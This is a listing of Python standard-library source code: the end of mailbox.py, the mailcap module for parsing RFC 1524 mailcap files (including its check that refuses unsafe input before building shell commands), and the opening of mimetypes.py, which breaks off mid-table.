self._file.write(message[:body_start].replace(b'\n', linesep)) self._file.write(b' EOOH ' + linesep) self._file.write(message[:body_start].replace(b'\n', linesep)) self._file.write(message[body_start:].replace(b'\n', linesep)) else: self._file.write(b' EOOH ' + linesep + linesep) self._file.write(message.replace(b'\n', linesep)) elif hasattr(message, 'readline'): if hasattr(message, 'buffer'): warnings.warn("Use of text mode files is deprecated, " "use a binary mode file instead", DeprecationWarning, 3) message = message.buffer original_pos = message.tell() first_pass = True while True: line = message.readline() # Universal newline support. if line.endswith(b'\r\n'): line = line[:-2] + b'\n' elif line.endswith(b'\r'): line = line[:-1] + b'\n' self._file.write(line.replace(b'\n', linesep)) if line == b'\n' or not line: if first_pass: first_pass = False self._file.write(b' EOOH ' + linesep) message.seek(original_pos) else: break while True: line = message.readline() if not line: break # Universal newline support. if line.endswith(b'\r\n'): line = line[:-2] + linesep elif line.endswith(b'\r'): line = line[:-1] + linesep elif line.endswith(b'\n'): line = line[:-1] + linesep self._file.write(line) else: raise TypeError('Invalid message type: %s' % type(message)) stop = self._file.tell() return (start, stop) class Message(email.message.Message): """Message with mailbox-format-specific properties.""" def __init__(self, message=None): """Initialize a Message instance.""" if isinstance(message, email.message.Message): self._become_message(copy.deepcopy(message)) if isinstance(message, Message): message._explain_to(self) elif isinstance(message, bytes): self._become_message(email.message_from_bytes(message)) elif isinstance(message, str): self._become_message(email.message_from_string(message)) elif isinstance(message, io.TextIOWrapper): self._become_message(email.message_from_file(message)) elif hasattr(message, "read"): self._become_message(email.message_from_binary_file(message)) elif message is None: email.message.Message.__init__(self) else: raise TypeError('Invalid message type: %s' % type(message)) def _become_message(self, message): """Assume the non-format-specific state of message.""" type_specific = getattr(message, '_type_specific_attributes', []) for name in message.__dict__: if name not in type_specific: self.__dict__[name] = message.__dict__[name] def _explain_to(self, message): """Copy format-specific state to message insofar as possible.""" if isinstance(message, Message): return # There's nothing format-specific to explain. else: raise TypeError('Cannot convert to specified type') class MaildirMessage(Message): """Message with Maildir-specific properties.""" _type_specific_attributes = ['_subdir', '_info', '_date'] def __init__(self, message=None): """Initialize a MaildirMessage instance.""" self._subdir = 'new' self._info = '' self._date = time.time() Message.__init__(self, message) def get_subdir(self): """Return 'new' or 'cur'.""" return self._subdir def set_subdir(self, subdir): """Set subdir to 'new' or 'cur'.""" if subdir == 'new' or subdir == 'cur': self._subdir = subdir else: raise ValueError("subdir must be 'new' or 'cur': %s" % subdir) def get_flags(self): """Return as a string the flags that are set.""" if self._info.startswith('2,'): return self._info[2:] else: return '' def set_flags(self, flags): """Set the given flags and unset all others.""" self._info = '2,' + ''.join(sorted(flags)) def add_flag(self, flag): """Set the given flag(s) without changing others.""" self.set_flags(''.join(set(self.get_flags()) \| set(flag))) def remove_flag(self, flag): """Unset the given string flag(s) without changing others.""" if self.get_flags(): self.set_flags(''.join(set(self.get_flags()) - set(flag))) def get_date(self): """Return delivery date of message, in seconds since the epoch.""" return self._date def set_date(self, date): """Set delivery date of message, in seconds since the epoch.""" try: self._date = float(date) except ValueError: raise TypeError("can't convert to float: %s" % date) from None def get_info(self): """Get the message's "info" as a string.""" return self._info def set_info(self, info): """Set the message's "info" string.""" if isinstance(info, str): self._info = info else: raise TypeError('info must be a string: %s' % type(info)) def _explain_to(self, message): """Copy Maildir-specific state to message insofar as possible.""" if isinstance(message, MaildirMessage): message.set_flags(self.get_flags()) message.set_subdir(self.get_subdir()) message.set_date(self.get_date()) elif isinstance(message, _mboxMMDFMessage): flags = set(self.get_flags()) if 'S' in flags: message.add_flag('R') if self.get_subdir() == 'cur': message.add_flag('O') if 'T' in flags: message.add_flag('D') if 'F' in flags: message.add_flag('F') if 'R' in flags: message.add_flag('A') message.set_from('MAILER-DAEMON', time.gmtime(self.get_date())) elif isinstance(message, MHMessage): flags = set(self.get_flags()) if 'S' not in flags: message.add_sequence('unseen') if 'R' in flags: message.add_sequence('replied') if 'F' in flags: message.add_sequence('flagged') elif isinstance(message, BabylMessage): flags = set(self.get_flags()) if 'S' not in flags: message.add_label('unseen') if 'T' in flags: message.add_label('deleted') if 'R' in flags: message.add_label('answered') if 'P' in flags: message.add_label('forwarded') elif isinstance(message, Message): pass else: raise TypeError('Cannot convert to specified type: %s' % type(message)) class _mboxMMDFMessage(Message): """Message with mbox- or MMDF-specific properties.""" _type_specific_attributes = ['_from'] def __init__(self, message=None): """Initialize an mboxMMDFMessage instance.""" self.set_from('MAILER-DAEMON', True) if isinstance(message, email.message.Message): unixfrom = message.get_unixfrom() if unixfrom is not None and unixfrom.startswith('From '): self.set_from(unixfrom[5:]) Message.__init__(self, message) def get_from(self): """Return contents of "From " line.""" return self._from def set_from(self, from_, time_=None): """Set "From " line, formatting and appending time_ if specified.""" if time_ is not None: if time_ is True: time_ = time.gmtime() from_ += ' ' + time.asctime(time_) self._from = from_ def get_flags(self): """Return as a string the flags that are set.""" return self.get('Status', '') + self.get('X-Status', '') def set_flags(self, flags): """Set the given flags and unset all others.""" flags = set(flags) status_flags, xstatus_flags = '', '' for flag in ('R', 'O'): if flag in flags: status_flags += flag flags.remove(flag) for flag in ('D', 'F', 'A'): if flag in flags: xstatus_flags += flag flags.remove(flag) xstatus_flags += ''.join(sorted(flags)) try: self.replace_header('Status', status_flags) except KeyError: self.add_header('Status', status_flags) try: self.replace_header('X-Status', xstatus_flags) except KeyError: self.add_header('X-Status', xstatus_flags) def add_flag(self, flag): """Set the given flag(s) without changing others.""" self.set_flags(''.join(set(self.get_flags()) \| set(flag))) def remove_flag(self, flag): """Unset the given string flag(s) without changing others.""" if 'Status' in self or 'X-Status' in self: self.set_flags(''.join(set(self.get_flags()) - set(flag))) def _explain_to(self, message): """Copy mbox- or MMDF-specific state to message insofar as possible.""" if isinstance(message, MaildirMessage): flags = set(self.get_flags()) if 'O' in flags: message.set_subdir('cur') if 'F' in flags: message.add_flag('F') if 'A' in flags: message.add_flag('R') if 'R' in flags: message.add_flag('S') if 'D' in flags: message.add_flag('T') del message['status'] del message['x-status'] maybe_date = ' '.join(self.get_from().split()[-5:]) try: message.set_date(calendar.timegm(time.strptime(maybe_date, '%a %b %d %H:%M:%S %Y'))) except (ValueError, OverflowError): pass elif isinstance(message, _mboxMMDFMessage): message.set_flags(self.get_flags()) message.set_from(self.get_from()) elif isinstance(message, MHMessage): flags = set(self.get_flags()) if 'R' not in flags: message.add_sequence('unseen') if 'A' in flags: message.add_sequence('replied') if 'F' in flags: message.add_sequence('flagged') del message['status'] del message['x-status'] elif isinstance(message, BabylMessage): flags = set(self.get_flags()) if 'R' not in flags: message.add_label('unseen') if 'D' in flags: message.add_label('deleted') if 'A' in flags: message.add_label('answered') del message['status'] del message['x-status'] elif isinstance(message, Message): pass else: raise TypeError('Cannot convert to specified type: %s' % type(message)) class mboxMessage(_mboxMMDFMessage): """Message with mbox-specific properties.""" class MHMessage(Message): """Message with MH-specific properties.""" _type_specific_attributes = ['_sequences'] def __init__(self, message=None): """Initialize an MHMessage instance.""" self._sequences = [] Message.__init__(self, message) def get_sequences(self): """Return a list of sequences that include the message.""" return self._sequences[:] def set_sequences(self, sequences): """Set the list of sequences that include the message.""" self._sequences = list(sequences) def add_sequence(self, sequence): """Add sequence to list of sequences including the message.""" if isinstance(sequence, str): if not sequence in self._sequences: self._sequences.append(sequence) else: raise TypeError('sequence type must be str: %s' % type(sequence)) def remove_sequence(self, sequence): """Remove sequence from the list of sequences including the message.""" try: self._sequences.remove(sequence) except ValueError: pass def _explain_to(self, message): """Copy MH-specific state to message insofar as possible.""" if isinstance(message, MaildirMessage): sequences = set(self.get_sequences()) if 'unseen' in sequences: message.set_subdir('cur') else: message.set_subdir('cur') message.add_flag('S') if 'flagged' in sequences: message.add_flag('F') if 'replied' in sequences: message.add_flag('R') elif isinstance(message, _mboxMMDFMessage): sequences = set(self.get_sequences()) if 'unseen' not in sequences: message.add_flag('RO') else: message.add_flag('O') if 'flagged' in sequences: message.add_flag('F') if 'replied' in sequences: message.add_flag('A') elif isinstance(message, MHMessage): for sequence in self.get_sequences(): message.add_sequence(sequence) elif isinstance(message, BabylMessage): sequences = set(self.get_sequences()) if 'unseen' in sequences: message.add_label('unseen') if 'replied' in sequences: message.add_label('answered') elif isinstance(message, Message): pass else: raise TypeError('Cannot convert to specified type: %s' % type(message)) class BabylMessage(Message): """Message with Babyl-specific properties.""" _type_specific_attributes = ['_labels', '_visible'] def __init__(self, message=None): """Initialize a BabylMessage instance.""" self._labels = [] self._visible = Message() Message.__init__(self, message) def get_labels(self): """Return a list of labels on the message.""" return self._labels[:] def set_labels(self, labels): """Set the list of labels on the message.""" self._labels = list(labels) def add_label(self, label): """Add label to list of labels on the message.""" if isinstance(label, str): if label not in self._labels: self._labels.append(label) else: raise TypeError('label must be a string: %s' % type(label)) def remove_label(self, label): """Remove label from the list of labels on the message.""" try: self._labels.remove(label) except ValueError: pass def get_visible(self): """Return a Message representation of visible headers.""" return Message(self._visible) def set_visible(self, visible): """Set the Message representation of visible headers.""" self._visible = Message(visible) def update_visible(self): """Update and/or sensibly generate a set of visible headers.""" for header in self._visible.keys(): if header in self: self._visible.replace_header(header, self[header]) else: del self._visible[header] for header in ('Date', 'From', 'Reply-To', 'To', 'CC', 'Subject'): if header in self and header not in self._visible: self._visible[header] = self[header] def _explain_to(self, message): """Copy Babyl-specific state to message insofar as possible.""" if isinstance(message, MaildirMessage): labels = set(self.get_labels()) if 'unseen' in labels: message.set_subdir('cur') else: message.set_subdir('cur') message.add_flag('S') if 'forwarded' in labels or 'resent' in labels: message.add_flag('P') if 'answered' in labels: message.add_flag('R') if 'deleted' in labels: message.add_flag('T') elif isinstance(message, _mboxMMDFMessage): labels = set(self.get_labels()) if 'unseen' not in labels: message.add_flag('RO') else: message.add_flag('O') if 'deleted' in labels: message.add_flag('D') if 'answered' in labels: message.add_flag('A') elif isinstance(message, MHMessage): labels = set(self.get_labels()) if 'unseen' in labels: message.add_sequence('unseen') if 'answered' in labels: message.add_sequence('replied') elif isinstance(message, BabylMessage): message.set_visible(self.get_visible()) for label in self.get_labels(): message.add_label(label) elif isinstance(message, Message): pass else: raise TypeError('Cannot convert to specified type: %s' % type(message)) class MMDFMessage(_mboxMMDFMessage): """Message with MMDF-specific properties.""" class _ProxyFile: """A read-only wrapper of a file.""" def __init__(self, f, pos=None): """Initialize a _ProxyFile.""" self._file = f if pos is None: self._pos = f.tell() else: self._pos = pos def read(self, size=None): """Read bytes.""" return self._read(size, self._file.read) def read1(self, size=None): """Read bytes.""" return self._read(size, self._file.read1) def readline(self, size=None): """Read a line.""" return self._read(size, self._file.readline) def readlines(self, sizehint=None): """Read multiple lines.""" result = [] for line in self: result.append(line) if sizehint is not None: sizehint -= len(line) if sizehint <= 0: break return result def __iter__(self): """Iterate over lines.""" while True: line = self.readline() if not line: return yield line def tell(self): """Return the position.""" return self._pos def seek(self, offset, whence=0): """Change position.""" if whence == 1: self._file.seek(self._pos) self._file.seek(offset, whence) self._pos = self._file.tell() def close(self): """Close the file.""" if hasattr(self, '_file'): try: if hasattr(self._file, 'close'): self._file.close() finally: del self._file def _read(self, size, read_method): """Read size bytes using read_method.""" if size is None: size = -1 self._file.seek(self._pos) result = read_method(size) self._pos = self._file.tell() return result def __enter__(self): """Context management protocol support.""" return self def __exit__(self, exc): self.close() def readable(self): return self._file.readable() def writable(self): return self._file.writable() def seekable(self): return self._file.seekable() def flush(self): return self._file.flush() @property def closed(self): if not hasattr(self, '_file'): return True if not hasattr(self._file, 'closed'): return False return self._file.closed class _PartialFile(_ProxyFile): """A read-only wrapper of part of a file.""" def __init__(self, f, start=None, stop=None): """Initialize a _PartialFile.""" _ProxyFile.__init__(self, f, start) self._start = start self._stop = stop def tell(self): """Return the position with respect to start.""" return _ProxyFile.tell(self) - self._start def seek(self, offset, whence=0): """Change position, possibly with respect to start or stop.""" if whence == 0: self._pos = self._start whence = 1 elif whence == 2: self._pos = self._stop whence = 1 _ProxyFile.seek(self, offset, whence) def _read(self, size, read_method): """Read size bytes using read_method, honoring start and stop.""" remaining = self._stop - self._pos if remaining <= 0: return b'' if size is None or size < 0 or size > remaining: size = remaining return _ProxyFile._read(self, size, read_method) def close(self): # do not close the underlying file object for partial files, # since it's global to the mailbox object if hasattr(self, '_file'): del self._file def _lock_file(f, dotlock=True): """Lock file f using lockf and dot locking.""" dotlock_done = False try: if fcntl: try: fcntl.lockf(f, fcntl.LOCK_EX \| fcntl.LOCK_NB) except OSError as e: if e.errno in (errno.EAGAIN, errno.EACCES, errno.EROFS): raise ExternalClashError('lockf: lock unavailable: %s' % f.name) else: raise if dotlock: try: pre_lock = _create_temporary(f.name + '.lock') pre_lock.close() except OSError as e: if e.errno in (errno.EACCES, errno.EROFS): return # Without write access, just skip dotlocking. else: raise try: try: os.link(pre_lock.name, f.name + '.lock') dotlock_done = True except (AttributeError, PermissionError): os.rename(pre_lock.name, f.name + '.lock') dotlock_done = True else: os.unlink(pre_lock.name) except FileExistsError: os.remove(pre_lock.name) raise ExternalClashError('dot lock unavailable: %s' % f.name) except: if fcntl: fcntl.lockf(f, fcntl.LOCK_UN) if dotlock_done: os.remove(f.name + '.lock') raise def _unlock_file(f): """Unlock file f using lockf and dot locking.""" if fcntl: fcntl.lockf(f, fcntl.LOCK_UN) if os.path.exists(f.name + '.lock'): os.remove(f.name + '.lock') def _create_carefully(path): """Create a file if it doesn't exist and open for reading and writing.""" fd = os.open(path, os.O_CREAT \| os.O_EXCL \| os.O_RDWR, 0o666) try: return open(path, 'rb+') finally: os.close(fd) def _create_temporary(path): """Create a temp file based on path and open for reading and writing.""" return _create_carefully('%s.%s.%s.%s' % (path, int(time.time()), socket.gethostname(), os.getpid())) def _sync_flush(f): """Ensure changes to file f are physically on disk.""" f.flush() if hasattr(os, 'fsync'): os.fsync(f.fileno()) def _sync_close(f): """Close file f, ensuring all changes are physically on disk.""" _sync_flush(f) f.close() class Error(Exception): """Raised for module-specific errors.""" class NoSuchMailboxError(Error): """The specified mailbox does not exist and won't be created.""" class NotEmptyError(Error): """The specified mailbox is not empty and deletion was requested.""" class ExternalClashError(Error): """Another process caused an action to fail.""" class FormatError(Error): """A file appears to have an invalid format."""	76.81 KB	2024-04-17 17:55
📄 mailcap.py """Mailcap file handling. See RFC 1524.""" import os import warnings import re __all__ = ["getcaps","findmatch"] def lineno_sort_key(entry): # Sort in ascending order, with unspecified entries at the end if 'lineno' in entry: return 0, entry['lineno'] else: return 1, 0 _find_unsafe = re.compile(r'[^\xa1-\U0010FFFF\w@+=:,./-]').search class UnsafeMailcapInput(Warning): """Warning raised when refusing unsafe input""" # Part 1: top-level interface. def getcaps(): """Return a dictionary containing the mailcap database. The dictionary maps a MIME type (in all lowercase, e.g. 'text/plain') to a list of dictionaries corresponding to mailcap entries. The list collects all the entries for that MIME type from all available mailcap files. Each dictionary contains key-value pairs for that MIME type, where the viewing command is stored with the key "view". """ caps = {} lineno = 0 for mailcap in listmailcapfiles(): try: fp = open(mailcap, 'r') except OSError: continue with fp: morecaps, lineno = _readmailcapfile(fp, lineno) for key, value in morecaps.items(): if not key in caps: caps[key] = value else: caps[key] = caps[key] + value return caps def listmailcapfiles(): """Return a list of all mailcap files found on the system.""" # This is mostly a Unix thing, but we use the OS path separator anyway if 'MAILCAPS' in os.environ: pathstr = os.environ['MAILCAPS'] mailcaps = pathstr.split(os.pathsep) else: if 'HOME' in os.environ: home = os.environ['HOME'] else: # Don't bother with getpwuid() home = '.' # Last resort mailcaps = [home + '/.mailcap', '/etc/mailcap', '/usr/etc/mailcap', '/usr/local/etc/mailcap'] return mailcaps # Part 2: the parser. def readmailcapfile(fp): """Read a mailcap file and return a dictionary keyed by MIME type.""" warnings.warn('readmailcapfile is deprecated, use getcaps instead', DeprecationWarning, 2) caps, _ = _readmailcapfile(fp, None) return caps def _readmailcapfile(fp, lineno): """Read a mailcap file and return a dictionary keyed by MIME type. Each MIME type is mapped to an entry consisting of a list of dictionaries; the list will contain more than one such dictionary if a given MIME type appears more than once in the mailcap file. Each dictionary contains key-value pairs for that MIME type, where the viewing command is stored with the key "view". """ caps = {} while 1: line = fp.readline() if not line: break # Ignore comments and blank lines if line[0] == '#' or line.strip() == '': continue nextline = line # Join continuation lines while nextline[-2:] == '\\\n': nextline = fp.readline() if not nextline: nextline = '\n' line = line[:-2] + nextline # Parse the line key, fields = parseline(line) if not (key and fields): continue if lineno is not None: fields['lineno'] = lineno lineno += 1 # Normalize the key types = key.split('/') for j in range(len(types)): types[j] = types[j].strip() key = '/'.join(types).lower() # Update the database if key in caps: caps[key].append(fields) else: caps[key] = [fields] return caps, lineno def parseline(line): """Parse one entry in a mailcap file and return a dictionary. The viewing command is stored as the value with the key "view", and the rest of the fields produce key-value pairs in the dict. """ fields = [] i, n = 0, len(line) while i < n: field, i = parsefield(line, i, n) fields.append(field) i = i+1 # Skip semicolon if len(fields) < 2: return None, None key, view, rest = fields[0], fields[1], fields[2:] fields = {'view': view} for field in rest: i = field.find('=') if i < 0: fkey = field fvalue = "" else: fkey = field[:i].strip() fvalue = field[i+1:].strip() if fkey in fields: # Ignore it pass else: fields[fkey] = fvalue return key, fields def parsefield(line, i, n): """Separate one key-value pair in a mailcap entry.""" start = i while i < n: c = line[i] if c == ';': break elif c == '\\': i = i+2 else: i = i+1 return line[start:i].strip(), i # Part 3: using the database. def findmatch(caps, MIMEtype, key='view', filename="/dev/null", plist=[]): """Find a match for a mailcap entry. Return a tuple containing the command line, and the mailcap entry used; (None, None) if no match is found. This may invoke the 'test' command of several matching entries before deciding which entry to use. """ if _find_unsafe(filename): msg = "Refusing to use mailcap with filename %r. Use a safe temporary filename." % (filename,) warnings.warn(msg, UnsafeMailcapInput) return None, None entries = lookup(caps, MIMEtype, key) # XXX This code should somehow check for the needsterminal flag. for e in entries: if 'test' in e: test = subst(e['test'], filename, plist) if test is None: continue if test and os.system(test) != 0: continue command = subst(e[key], MIMEtype, filename, plist) if command is not None: return command, e return None, None def lookup(caps, MIMEtype, key=None): entries = [] if MIMEtype in caps: entries = entries + caps[MIMEtype] MIMEtypes = MIMEtype.split('/') MIMEtype = MIMEtypes[0] + '/' if MIMEtype in caps: entries = entries + caps[MIMEtype] if key is not None: entries = [e for e in entries if key in e] entries = sorted(entries, key=lineno_sort_key) return entries def subst(field, MIMEtype, filename, plist=[]): # XXX Actually, this is Unix-specific res = '' i, n = 0, len(field) while i < n: c = field[i]; i = i+1 if c != '%': if c == '\\': c = field[i:i+1]; i = i+1 res = res + c else: c = field[i]; i = i+1 if c == '%': res = res + c elif c == 's': res = res + filename elif c == 't': if _find_unsafe(MIMEtype): msg = "Refusing to substitute MIME type %r into a shell command." % (MIMEtype,) warnings.warn(msg, UnsafeMailcapInput) return None res = res + MIMEtype elif c == '{': start = i while i < n and field[i] != '}': i = i+1 name = field[start:i] i = i+1 param = findparam(name, plist) if _find_unsafe(param): msg = "Refusing to substitute parameter %r (%s) into a shell command" % (param, name) warnings.warn(msg, UnsafeMailcapInput) return None res = res + param # XXX To do: # %n == number of parts if type is multipart/ # %F == list of alternating type and filename for parts else: res = res + '%' + c return res def findparam(name, plist): name = name.lower() + '=' n = len(name) for p in plist: if p[:n].lower() == name: return p[n:] return '' # Part 4: test program. def test(): import sys caps = getcaps() if not sys.argv[1:]: show(caps) return for i in range(1, len(sys.argv), 2): args = sys.argv[i:i+2] if len(args) < 2: print("usage: mailcap [MIMEtype file] ...") return MIMEtype = args[0] file = args[1] command, e = findmatch(caps, MIMEtype, 'view', file) if not command: print("No viewer found for", type) else: print("Executing:", command) sts = os.system(command) if sts: print("Exit status:", sts) def show(caps): print("Mailcap files:") for fn in listmailcapfiles(): print("\t" + fn) print() if not caps: caps = getcaps() print("Mailcap entries:") print() ckeys = sorted(caps) for type in ckeys: print(type) entries = caps[type] for e in entries: keys = sorted(e) for k in keys: print(" %-15s" % k, e[k]) print() if __name__ == '__main__': test()	8.85 KB	2024-04-17 17:55
📄 mimetypes.py """Guess the MIME type of a file. This module defines two useful functions: guess_type(url, strict=True) -- guess the MIME type and encoding of a URL. guess_extension(type, strict=True) -- guess the extension for a given MIME type. It also contains the following, for tuning the behavior: Data: knownfiles -- list of files to parse inited -- flag set when init() has been called suffix_map -- dictionary mapping suffixes to suffixes encodings_map -- dictionary mapping suffixes to encodings types_map -- dictionary mapping suffixes to types Functions: init([files]) -- parse a list of files, default knownfiles (on Windows, the default values are taken from the registry) read_mime_types(file) -- parse one file, return a dictionary or None """ import os import sys import posixpath import urllib.parse try: import winreg as _winreg except ImportError: _winreg = None __all__ = [ "knownfiles", "inited", "MimeTypes", "guess_type", "guess_all_extensions", "guess_extension", "add_type", "init", "read_mime_types", "suffix_map", "encodings_map", "types_map", "common_types" ] knownfiles = [ "/etc/mime.types", "/etc/httpd/mime.types", # Mac OS X "/etc/httpd/conf/mime.types", # Apache "/etc/apache/mime.types", # Apache 1 "/etc/apache2/mime.types", # Apache 2 "/usr/local/etc/httpd/conf/mime.types", "/usr/local/lib/netscape/mime.types", "/usr/local/etc/httpd/conf/mime.types", # Apache 1.2 "/usr/local/etc/mime.types", # Apache 1.3 ] inited = False _db = None class MimeTypes: """MIME-types datastore. This datastore can handle information from mime.types-style files and supports basic determination of MIME type from a filename or URL, and can guess a reasonable extension given a MIME type. """ def __init__(self, filenames=(), strict=True): if not inited: init() self.encodings_map = _encodings_map_default.copy() self.suffix_map = _suffix_map_default.copy() self.types_map = ({}, {}) # dict for (non-strict, strict) self.types_map_inv = ({}, {}) for (ext, type) in _types_map_default.items(): self.add_type(type, ext, True) for (ext, type) in _common_types_default.items(): self.add_type(type, ext, False) for name in filenames: self.read(name, strict) def add_type(self, type, ext, strict=True): """Add a mapping between a type and an extension. When the extension is already known, the new type will replace the old one. When the type is already known the extension will be added to the list of known extensions. If strict is true, information will be added to list of standard types, else to the list of non-standard types. """ self.types_map[strict][ext] = type exts = self.types_map_inv[strict].setdefault(type, []) if ext not in exts: exts.append(ext) def guess_type(self, url, strict=True): """Guess the type of a file based on its URL. Return value is a tuple (type, encoding) where type is None if the type can't be guessed (no or unknown suffix) or a string of the form type/subtype, usable for a MIME Content-type header; and encoding is None for no encoding or the name of the program used to encode (e.g. compress or gzip). The mappings are table driven. Encoding suffixes are case sensitive; type suffixes are first tried case sensitive, then case insensitive. The suffixes .tgz, .taz and .tz (case sensitive!) are all mapped to '.tar.gz'. (This is table-driven too, using the dictionary suffix_map.) Optional `strict' argument when False adds a bunch of commonly found, but non-standard types. """ url = os.fspath(url) scheme, url = urllib.parse.splittype(url) if scheme == 'data': # syntax of data URLs: # dataurl := "data:" [ mediatype ] [ ";base64" ] "," data # mediatype := [ type "/" subtype ] ( ";" parameter ) # data := urlchar # parameter := attribute "=" value # type/subtype defaults to "text/plain" comma = url.find(',') if comma < 0: # bad data URL return None, None semi = url.find(';', 0, comma) if semi >= 0: type = url[:semi] else: type = url[:comma] if '=' in type or '/' not in type: type = 'text/plain' return type, None # never compressed, so encoding is None base, ext = posixpath.splitext(url) while ext in self.suffix_map: base, ext = posixpath.splitext(base + self.suffix_map[ext]) if ext in self.encodings_map: encoding = self.encodings_map[ext] base, ext = posixpath.splitext(base) else: encoding = None types_map = self.types_map[True] if ext in types_map: return types_map[ext], encoding elif ext.lower() in types_map: return types_map[ext.lower()], encoding elif strict: return None, encoding types_map = self.types_map[False] if ext in types_map: return types_map[ext], encoding elif ext.lower() in types_map: return types_map[ext.lower()], encoding else: return None, encoding def guess_all_extensions(self, type, strict=True): """Guess the extensions for a file based on its MIME type. Return value is a list of strings giving the possible filename extensions, including the leading dot ('.'). The extension is not guaranteed to have been associated with any particular data stream, but would be mapped to the MIME type `type' by guess_type(). Optional `strict' argument when false adds a bunch of commonly found, but non-standard types. """ type = type.lower() extensions = self.types_map_inv[True].get(type, []) if not strict: for ext in self.types_map_inv[False].get(type, []): if ext not in extensions: extensions.append(ext) return extensions def guess_extension(self, type, strict=True): """Guess the extension for a file based on its MIME type. Return value is a string giving a filename extension, including the leading dot ('.'). The extension is not guaranteed to have been associated with any particular data stream, but would be mapped to the MIME type `type' by guess_type(). If no extension can be guessed for `type', None is returned. Optional `strict' argument when false adds a bunch of commonly found, but non-standard types. """ extensions = self.guess_all_extensions(type, strict) if not extensions: return None return extensions[0] def read(self, filename, strict=True): """ Read a single mime.types-format file, specified by pathname. If strict is true, information will be added to list of standard types, else to the list of non-standard types. """ with open(filename, encoding='utf-8') as fp: self.readfp(fp, strict) def readfp(self, fp, strict=True): """ Read a single mime.types-format file. If strict is true, information will be added to list of standard types, else to the list of non-standard types. """ while 1: line = fp.readline() if not line: break words = line.split() for i in range(len(words)): if words[i][0] == '#': del words[i:] break if not words: continue type, suffixes = words[0], words[1:] for suff in suffixes: self.add_type(type, '.' + suff, strict) def read_windows_registry(self, strict=True): """ Load the MIME types database from Windows registry. If strict is true, information will be added to list of standard types, else to the list of non-standard types. """ # Windows only if not _winreg: return def enum_types(mimedb): i = 0 while True: try: ctype = _winreg.EnumKey(mimedb, i) except OSError: break else: if '\0' not in ctype: yield ctype i += 1 with _winreg.OpenKey(_winreg.HKEY_CLASSES_ROOT, '') as hkcr: for subkeyname in enum_types(hkcr): try: with _winreg.OpenKey(hkcr, subkeyname) as subkey: # Only check file extensions if not subkeyname.startswith("."): continue # raises OSError if no 'Content Type' value mimetype, datatype = _winreg.QueryValueEx( subkey, 'Content Type') if datatype != _winreg.REG_SZ: continue self.add_type(mimetype, subkeyname, strict) except OSError: continue def guess_type(url, strict=True): """Guess the type of a file based on its URL. Return value is a tuple (type, encoding) where type is None if the type can't be guessed (no or unknown suffix) or a string of the form type/subtype, usable for a MIME Content-type header; and encoding is None for no encoding or the name of the program used to encode (e.g. compress or gzip). The mappings are table driven. Encoding suffixes are case sensitive; type suffixes are first tried case sensitive, then case insensitive. The suffixes .tgz, .taz and .tz (case sensitive!) are all mapped to ".tar.gz". (This is table-driven too, using the dictionary suffix_map). Optional `strict' argument when false adds a bunch of commonly found, but non-standard types. """ if _db is None: init() return _db.guess_type(url, strict) def guess_all_extensions(type, strict=True): """Guess the extensions for a file based on its MIME type. Return value is a list of strings giving the possible filename extensions, including the leading dot ('.'). The extension is not guaranteed to have been associated with any particular data stream, but would be mapped to the MIME type `type' by guess_type(). If no extension can be guessed for `type', None is returned. Optional `strict' argument when false adds a bunch of commonly found, but non-standard types. """ if _db is None: init() return _db.guess_all_extensions(type, strict) def guess_extension(type, strict=True): """Guess the extension for a file based on its MIME type. Return value is a string giving a filename extension, including the leading dot ('.'). The extension is not guaranteed to have been associated with any particular data stream, but would be mapped to the MIME type `type' by guess_type(). If no extension can be guessed for `type', None is returned. Optional `strict' argument when false adds a bunch of commonly found, but non-standard types. """ if _db is None: init() return _db.guess_extension(type, strict) def add_type(type, ext, strict=True): """Add a mapping between a type and an extension. When the extension is already known, the new type will replace the old one. When the type is already known the extension will be added to the list of known extensions. If strict is true, information will be added to list of standard types, else to the list of non-standard types. """ if _db is None: init() return _db.add_type(type, ext, strict) def init(files=None): global suffix_map, types_map, encodings_map, common_types global inited, _db inited = True # so that MimeTypes.__init__() doesn't call us again if files is None or _db is None: db = MimeTypes() if _winreg: db.read_windows_registry() if files is None: files = knownfiles else: files = knownfiles + list(files) else: db = _db for file in files: if os.path.isfile(file): db.read(file) encodings_map = db.encodings_map suffix_map = db.suffix_map types_map = db.types_map[True] common_types = db.types_map[False] # Make the DB a global variable now that it is fully initialized _db = db def read_mime_types(file): try: f = open(file) except OSError: return None with f: db = MimeTypes() db.readfp(f, True) return db.types_map[True] def _default_mime_types(): global suffix_map, _suffix_map_default global encodings_map, _encodings_map_default global types_map, _types_map_default global common_types, _common_types_default suffix_map = _suffix_map_default = { '.svgz': '.svg.gz', '.tgz': '.tar.gz', '.taz': '.tar.gz', '.tz': '.tar.gz', '.tbz2': '.tar.bz2', '.txz': '.tar.xz', } encodings_map = _encodings_map_default = { '.gz': 'gzip', '.Z': 'compress', '.bz2': 'bzip2', '.xz': 'xz', } # Before adding new types, make sure they are either registered with IANA, # at http://www.iana.org/assignments/media-types # or extensions, i.e. using the x- prefix # If you add to these, please keep them sorted by mime type. # Make sure the entry with the preferred file extension for a particular mime type # appears before any others of the same mimetype. types_map = _types_map_default = { '.js' : 'application/javascript', '.mjs' : 'application/javascript', '.json' : 'application/json', '.doc' : 'application/msword', '.dot' : 'application/msword', '.wiz' : 'application/msword', '.bin' : 'application/octet-stream', '.a' : 'application/octet-stream', '.dll' : 'application/octet-stream', '.exe' : 'application/octet-stream', '.o' : 'application/octet-stream', '.obj' : 'application/octet-stream', '.so' : 'application/octet-stream', '.oda' : 'application/oda', '.pdf' : 'application/pdf', '.p7c' : 'application/pkcs7-mime', '.ps' : 'application/postscript', '.ai' : 'application/postscript', '.eps' : 'application/postscript', '.m3u' : 'application/vnd.apple.mpegurl', '.m3u8' : 'application/vnd.apple.mpegurl', '.xls' : 'application/vnd.ms-excel', '.xlb' : 'application/vnd.ms-excel', '.ppt' : 'application/vnd.ms-powerpoint', '.pot' : 'application/vnd.ms-powerpoint', '.ppa' : 'application/vnd.ms-powerpoint', '.pps' : 'application/vnd.ms-powerpoint', '.pwz' : 'application/vnd.ms-powerpoint', '.wasm' : 'application/wasm', '.bcpio' : 'application/x-bcpio', '.cpio' : 'application/x-cpio', '.csh' : 'application/x-csh', '.dvi' : 'application/x-dvi', '.gtar' : 'application/x-gtar', '.hdf' : 'application/x-hdf', '.latex' : 'application/x-latex', '.mif' : 'application/x-mif', '.cdf' : 'application/x-netcdf', '.nc' : 'application/x-netcdf', '.p12' : 'application/x-pkcs12', '.pfx' : 'application/x-pkcs12', '.ram' : 'application/x-pn-realaudio', '.pyc' : 'application/x-python-code', '.pyo' : 'application/x-python-code', 